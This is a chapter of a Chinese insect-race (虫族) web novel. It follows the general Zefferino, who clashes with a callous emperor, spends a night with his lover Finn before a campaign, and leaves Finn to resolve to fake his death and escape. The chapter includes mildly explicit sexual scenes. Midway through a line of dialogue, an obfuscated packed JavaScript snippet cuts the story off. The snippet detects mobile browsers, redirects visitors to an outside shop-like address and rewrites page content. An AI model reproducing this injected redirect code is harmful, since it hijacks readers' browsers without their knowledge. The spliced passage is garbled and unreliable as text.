当看到那登记册上的名字全部被红笔划去时,士兵们战死的悲壮又在眼前重现。 自从开国虫皇之后,高位者都不怎么在乎低等虫民的生命,虫族的疆域过于开阔,能虫倍出,让高位者们生出了高枕无忧的错觉。 上一任虫皇时就已经有了这种迹象,只是没那么糟糕,没想到在塞塔斯这一任虫皇的统治下,虫民不被爱惜的情况更严重。 塞塔斯勒令他驱逐红火蚁之后就回中央星,泽费里诺表示自己要打到红火蚁的老巢去,连他们的蚁后也得端了。 蚁后不死,用来战争的工蚁就不会灭绝,那以太星球的悲剧还会上演。 可塞塔斯却说:“就几十万虫民了而已,守不住大不了就把那颗星球让给他们,就是让你给他们一点颜色瞧瞧,真以为我们帝国是吃素的。” 听到这里的会议室全体军雌军雄们,都神色讶异地看向议会桌面倒映出的虫皇身影。 奥维将军和卡尔金也沉默了,一时间竟不知道该用什么言语去形容自己的心情,都看向了泽费里诺。 泽费里诺神色镇定地看着军用终端里印出虫皇塞塔斯的3D身影,目光冷峻:“陛下这话只会寒了虫民的心,他们以你为荣,你却不想救他们。” 塞塔斯话锋一转:“我救了啊,我都让我最爱的雌君去平乱了,独守空房,忍受相思之苦,我还不爱他们吗?” 泽费里诺打断他:“陛下且在中央星好生保重,请按照我罗列的名册,按时下发士兵们的抚恤金到各家各户,别让将士们心寒。” 说完泽费里诺起身走了,穿着军装的高大身影离开了会议室,在座的其他高级虫都默默地坐着,看着虫皇几分钟后掐断终端联系。 泽费里诺去找了芬恩,芬恩正躲在房间里看书,泽费里诺突然开门进来。 芬恩侧头看到他进来,疑惑地问:“雌君不是在开议会?” 泽费里诺走过去坐在他身边,清冷的眸将芬恩打量了一番,毫无情绪地问了一句:“那些将士明知道自己守不住,却还以死相拼,你觉得他们有必要吗?” 芬恩听到这里,银白的眉毛微微蹙起,蓝眸显现不解:“为什么没有必要?都是虫族疆土,入侵者都抢到家里来了,就算不吃虫族俸禄,也无法对这种强盗行为置之不理吧?” 泽费里诺又问:“如果明知道来救援是死路,你会放弃这一颗星球和剩余的老弱虫民吗?” 芬恩不知道泽费里诺为什么这样问,但他的回答是肯定的:“自古赔款割地都是弱者的无能表现,一直退一直妥协,只会助长其嚣张的气焰,伟人曾说过,打得一拳开,免得百拳来,枪杆子里面出政权,就得让他们知道帝国利刃从未生钝,也从不会放弃任何一个公民。” 泽费里诺眼神由冰冷变得欣赏,他注视着银发雄虫,唇角挑起一抹微不可察的笑意:“洛菲斯,懂得挺多。” 芬恩朝心爱的雌虫看了一眼,没有回答,因为泽费里诺不会知道,他作为一个地球人类灵魂,自己的祖国也曾被欺辱过,他作为新时代的人,从小受到的就是爱国教育。 凡是祖国疆域,寸土必争,没有妥协后退一说,哪怕为了保卫家园战死,也死得其所。 他想了想忽而明白过来雌君为什么这么问,芬恩肯定了泽费里诺此次前来的意义:“不要怀疑你的到来对于虫族帝国的意义,对于那些侥幸活下来的虫民而言,你就像救世主一样降临,而对于那些死去的战士,他们也可以瞑目,因为你的到来,这颗星球守住了,这就是他们拼死一搏的意义。” 泽费里诺神色深沉,带着没见过的温柔,他摸了摸芬恩的银发:“说得好,洛菲斯,你和他们不一样。” 虫族帝国内部官员的腐朽和不把普通虫民当回事的自大,已经昭示着这个王朝该废除了。 芬恩难得见泽费里诺笑,一时间有些恍惚:“他们是谁?” 泽费里诺没回答这个问题,只是说:“今晚我来找你,别睡太早。” 芬恩一愣,静静地看着泽费里诺起身离去。 离别在即,他其实不太愿意和泽费里诺亲近,那样只会让他更加舍不得。 不过他发现想要在这样的战乱中逃走,也不是一件容易的事情。 ~ 以太星球的温度有些低,毕竟边境星了,距离帝国模拟恒星的发热器较远,所以白天的光照不够八个小时,帝国时间下午三四点,天色就已经暗沉下来。 泽费里诺亲自监督士兵们建筑堡垒,要在短时间将防御用的高墙修好,他站在破败的城楼上。 芬恩怕他冷,给他送去黑色的军用保暖大衣,卡尔金和奥维在城墙下指挥士兵们。 芬恩走上破败的城楼,就看到一身黑色军装的挺拔身影,黑色长发散落一背,他就那样负手而立,像一座高雅的丰碑,正眺望着中央星的方向。 芬恩静悄悄地走过去,将保暖大衣披在他身上:“天气冷,要多加衣。” 泽费里诺微微侧头,对上雄虫温柔的视线,他碎玉清冷的声音低低传来:“不管我做什么,你都会愿意的吧,洛菲斯。” 芬恩不知道他具体指什么,此刻四周寂静,风声从他俩身边呼啸,雌虫的黑色长发被风斜过。 他情不自禁地从身后抱住泽费里诺,低头脑袋枕在雌虫颈侧,脸颊碰到雌虫的信息素抑制环:“愿意,为你生为你死。” 泽费里诺唇角一牵,伸手摸摸他的脸颊:“放开,他们会看见。” 芬恩没回答,抱了几秒放开他,退后一段距离,也将他和泽费里诺从此彻底隔开。 卡尔金和奥维上了城楼,气喘吁吁,奥维说:“雌君,修筑城墙堡垒的事情交给我就好,不能耽误您的进程。” 卡尔金也说:“红火蚁现在惧怕我们,估计在想办法逃出以太星球,我们得乘胜追击。” 泽费里诺点了头:“那奥维将军守在以太城,安抚虫民兼修筑堡垒,我和卡尔金将军乘胜追击。通知各部,紧急会议。” 两只高级虫跟在雌虫身后下了城楼,芬恩站在那里,看着雌虫意气奋发的样子,心里也充满自豪。 爱上泽费里诺,就像喝水一样简单。 虫皇真有福气,希望这次平乱之后,那位帝国的虫皇陛下,能真心对待他的挚爱。 天黑的很快,芬恩负责铺好泽费里诺的床铺,把该吃的该用的都给泽费里诺准备好,他准备走了。 刚打算离开,泽费里诺回来了,今天散会早,他明天要离开以太城,跟随出征的将士今晚要早些休息,一大早天不亮就得出发。 见芬恩要走,泽费里诺喊住了他:“留下。” 他这一去得十多天,得雄虫提供一次信息素才能撑到他回来。 芬恩朝着门口看了一眼,生怕被发现似的。 泽费里诺知道他怕,示意他把门关上:“都去休息了,今晚不会来了。” 芬恩去把门反锁了,这才走过去抱住泽费里诺,撒娇似的摇啊摇:“你明天要去哪里?” 泽费里诺将大衣放在沙发上,伸手解开军装衣扣:“我得找到他们的蚁后,不然繁殖太快,还是会出变故,不如就永绝后患。” 芬恩点头:“我要去吗?” 泽费里诺声音清冷:“你不用去,你什么都不会,去了也没用,就在城内待着,和奥维将军搞好关系,等我回来。” 芬恩沉默片刻:“你去多长时间?” 泽费里诺转身扯着他的衣领往床榻走:“十天。” 芬恩被他拽到床上,两手撑在雌虫两侧:“雌君这么有兴致,临走前还得欺负我。” 泽费里诺笑了笑:“那你可以拒绝。” 芬恩将雌虫扑在床榻里,吻上雌虫清冷的双唇:“不可能。” 泽费里诺很喜欢被他扑倒的感觉,强大的雌虫,也喜欢被心爱的雄虫摁在床榻里强要。 他哪怕对小雄虫有感情,情绪起伏依旧很淡,势在必得的自信,让他觉得得到雄虫的感情也是理所当然。 小雄虫在这种时候总是会说很多情话,他愿意听,爱听。 芬恩真怕他又怀孕,始终不敢过分,可泽费里诺却说没关系,信息素不泄露,又不在易感期,不会怀孕。 肚子里本身就有一颗虫卵,怎么可能再怀。 芬恩好像知道这次分别他们估计不会再见了,和雌虫紧密结合的时候,他一直在不厌其烦地跟泽费里诺说着同一句话。 “泽费里诺,我爱你。” 泽费里诺的回应很平淡。 “我知道。” “知道我有多爱你?” “知道。” “那你呢?” 泽费里诺抱紧他的脖颈,用亲吻的力度告诉他,自己的喜欢程度。 他总是不善于表达自己的感情,尊贵的身份和冷傲的脾气,不允许他对雄虫说情话,所以平时说出的话都是威胁的语气。 就像此刻,他对芬恩不像对塞塔斯那么宽容。 他紧紧咬着雄虫的喉结,齿间好像见了血,芬恩疼地呲牙,雌虫警告他:“这么跟你说,洛菲斯,塞塔斯背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538896|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叛我,他因为身份尊贵可以捡回一条命,但你不同,你若背叛我,我必会杀死你。乖乖待在我身边,听话,我就什么都给你。” 这就是倨傲的雌君表达喜爱之意的方式,吓得雄虫直接在孕腔灌溉了。 泽费里诺:“……” 他捧住雄虫的脸,让芬恩看着自己:“为什么害怕?你也会背叛我吗?” 芬恩快速摇头:“不会,怎么会呢,我最爱你了。” 他又吻上去,以表达自己的话没有假。 泽费里诺料他也没有那个胆子,便没怀疑。 翌日天没亮,泽费里诺起了,芬恩也跟着起床,伺候雌君洗漱,用营养剂。 泽费里诺让他好好看书,不要担心其它事。 芬恩见他要走,着急喊了一声:“雌君。” 泽费里诺出门的动作停下,朝他望过去:“有事?” 芬恩几步上前,在他的额前吻了一下:“平安归来。” 泽费里诺看了他几秒,伸手揉了揉他的发顶:“安心。” 他的爱情,到此为止了,芬恩目送雌虫挺拔的身影远去。 十多天,他能逃到哪里去,芬恩也不知道,以太城外面还有没有可以去的地方,都是未知数。 星际战舰开走了两艘,剩下的一艘和十多万士兵留给奥维将军驻守城内。 泽费里诺离开两天后,不知道从哪里窜出来一波红火蚁,有几万只工蚁,正在到处寻找食物,试图攻击城堡。 奥维将军指挥士兵们出战,芬恩躲在基地,听着外面的战火。 作为平民虫,没有自保能力,面对这样的战争,真的很绝望。 芬恩想逃到战乱烧不到的地方去,他相信泽费里诺一定会凯旋归来,扫平红火蚁族群。 出去看战况,臂上终端突然响了,他点看了一眼,竟是米安发来的。 芬恩接了米安的视频,米安惊喜:“我只是抱着试试的心态,没想到真的接通了,洛菲斯,你和帝后还好吗?” 芬恩一边往城中心走一边回答:“都好,他们又攻打来了,我得去看看虫民们躲没躲起来,先不跟你说了,总管阁下。” 米安看情况危机,赶紧点头:“哦哦,好,你注意安全。” 刚要挂断视频,芬恩突然想到什么,叮嘱米安:“雌君的那些花,不能淋雨,如果下雨的话,你要用薄膜把它们盖起来。” 米安表示知道了:“都什么时候了,你还有闲心管那些花,照顾好自己吧,等你和帝后凯旋归来。” 芬恩这才嗯了声,挂断了视频。 不断有红火蚁飞向城中心,城内的士兵又在疏散群众,让他们躲在地下城堡去。 芬恩刚离开没多久,基地就受到了攻击,剧烈的爆炸传来,将他炸翻在了泥土堆里。 他吃了一嘴的土,所有的士兵都在迎战,压根没时间管他,他只能自救。 有开着战机的士兵跟他嘶吼:“往城中心地下堡垒躲避!” 芬恩从泥土里爬起来,往城中心跑去。 所有的虫民都躲进去了,芬恩成了红火蚁的靶子,去往城中心的路被堵截死,他只能找另外一个方向,不断有爆炸在四周蔓延,他心想不用逃了,他要死在这里。 他躲进了一栋被炸掉一半的大楼,几只红火蚁直接从破口朝他冲来,蚂蚁可怕的脸被放大几十倍,芬恩从没见过这么丑的东西。 他们发出可怕高频的声音,试图把芬恩逼出来,见芬恩不出来,直接对那一半的废墟发起了攻击,芬恩不出去也得被砸死。 不得不爬出去,废墟坍塌,发出巨大的声响,几只两米多长的红火蚁扑腾着翅膀把他包围了,显然想吃他。 芬恩瘫坐在那里,全身被冷汗湿透,恐惧让他全身发抖,他甚至想到了自己待会儿会怎么死—— 红火蚁一拥而上,压根没有犹豫就朝他扑过去想要撕扯他的皮肉,可当那群东西触碰到他的身体时,他的精神识海突然一阵疼痛,一股不属于他的力量冲出了他的身体,释放的能量将周围的几只红火蚁直接轰成了碎渣。 芬恩满脸惊恐地看着那些连肢体都碎了的巨大蚂蚁掉在地上,频繁地咽着唾沫。 恐惧让他头皮发麻,身体僵硬。 也是此时,一枚小小的黑色六边菱形晶核缓缓地出现在了他的面前,是泽费里诺对他强取豪夺那晚,虫皇来捉奸时,送他的精神力晶源体。 后来不见了,他以为自己搞丢了,总觉得对不起泽费里诺,没想到一直在啊…… 芬恩泪眼模糊地看着那枚散发能量的黑色晶核,颤抖着沾满泥土的双手接住,黑色晶核落在了他的手掌中。 他视若珍宝地将那枚黑色晶核握在了掌心,闭了闭眼,再睁眼时,眼底是冰冷的决绝。 就让泽费里诺以为他死在这场战乱里了吧,只有认为他死了,泽费里诺才不会痛苦。 痛苦……他死了,泽费里诺会痛苦吗? 哪怕为他只掉一滴泪,会吗? 不会吧,那样的铁血雌虫,怎么会为他一只低等雄虫掉眼泪。 瑰宝雌君一挥手,千千万万的雄虫前赴后继,乐意侍奉,又怎会在意他这只雄虫。 雌君会得到虫皇给予的皇嗣,师出有名,成就自己的野心和霸业。 想到这里,芬恩再没犹豫,起身奔向自己的虫生和自由。